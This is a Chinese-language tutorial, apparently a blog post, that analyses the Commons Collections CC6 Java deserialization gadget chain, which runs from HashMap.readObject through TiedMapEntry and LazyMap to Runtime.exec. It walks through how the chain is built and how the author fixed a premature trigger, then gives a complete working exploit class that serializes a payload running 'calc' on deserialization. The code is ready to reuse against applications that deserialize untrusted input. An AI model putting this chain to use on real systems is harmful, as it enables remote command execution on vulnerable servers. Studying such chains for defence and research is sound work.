简介

继续分析CC链了。上一篇文章分析了CC1链,这条链子限制特别多,jdk版本的限制,Commons Collections版本的限制,所以这条链子其实并不是很好用。那么这篇文章主要分析CC6链,这条链子通用,几乎没有一些所谓的版本限制,而且这条链子可以说是结合了CC1链和URLDNS链,学了这两条链子后再分析这条CC6链,就会发现很容易了。注:此篇文章在URLDNS和CC1链分析文章的基础上编写。

CC6链分析

这条链子的利用点还是没有变的,依旧是InvokerTransformer类的transform方法,

因为执行类Runtime类不能序列化,所以需要配合ChainedTransformer类与反射生成实例执行命令,直接照抄下来。

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

依旧是从后往前找,这里走到了ChainedTransformer类的transform方法。

这里我们找到LazyMap类的get方法,这里需要满足Map里不能存在指定的key才能进入到if里面。

这里的key可控,再看该类的构造方法。

用户可控,这里是protected修饰符,那么就找装饰器函数了。

老套路了。接着继续找哪个类的什么方法调用了get方法。在TiedMapEntry类的getValue方法中调用,

它又被本类的hashCode函数调用。

hashCode?很熟悉了,是URLDNS链的起始函数。那么我们肯定就能猜到入口类就是HashMap了,入口为HashMap的readObject函数,调用hash(key),而今调用任意类的hashCode函数。

让key赋值为TiedMapEntry类的实例,去调用它的hashCode方法,此时这一整条链就对接上了。所以这一条CC6链大致为

HashMap.readObject->TiedMapEntry.hashCode->LazyMap.get->ChainedTransformer.transform->Runtime.exec()

问题解决

在我们向HashMap实例put键值对的时候,此时就已经调用了hashCode函数,跟进put方法,

也会调用hash,进而调用hashCode。所以此时我们需要修改链子上的某个值来切断这条链子。put完后,利用反射再把值修改过来。这也是URLDNS链的老问题了。那么决定修改LazyMap里的值,具体代码实现:

Class c = LazyMap.class;
Field fieldfactory = c.getDeclaredField("factory");
fieldfactory.setAccessible(true);
fieldfactory.set(lazymap,chainedTransformer);

但是此时反序列化并没有弹出计算器。在TiedMapEntry类的hashCode函数下个断点调试一下。

此时key有值,为aaa,继续跟进,调用get方法。

满足不了这个if判断,链子就从这断了。那么具体是什么原因呢?还是put的原因,在put执行的时候,也是走了一半的链子,当它走到LazyMap的get方法时

此时map里面是没有key的,进入到if判断里面后,会把我们传进来的key给put进去,此时map里面就有key了。在反序列化的时候,这里存在key,满足不了if判断就走不下去了。所以在map执行put函数后把我们传进来的key给删掉就好了。到此问题全部解决。完整CC6链EXP:

package cc6.demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6test {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map = new HashMap<Object,Object>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));

HashMap<Object,Object> map2 = new HashMap<>();

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");

map2.put(tiedMapEntry,"bbb");
map.remove("aaa");

Class c = LazyMap.class;
Field fieldfactory = c.getDeclaredField("factory");
fieldfactory.setAccessible(true);
fieldfactory.set(lazymap,chainedTransformer);
serialize(map2);
unserialize("web.bin");
}
public static void serialize(Object object) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("web.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(object);
System.out.println("1.序列化成功");
}

public static void unserialize(String filename) throws IOException, ClassNotFoundException {
FileInputStream fileInputStream = new FileInputStream(filename);
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
System.out.println("2.反序列化成功");
}
}

日常弹计算器,嘿嘿。

结语

反序列化之路任重而道远。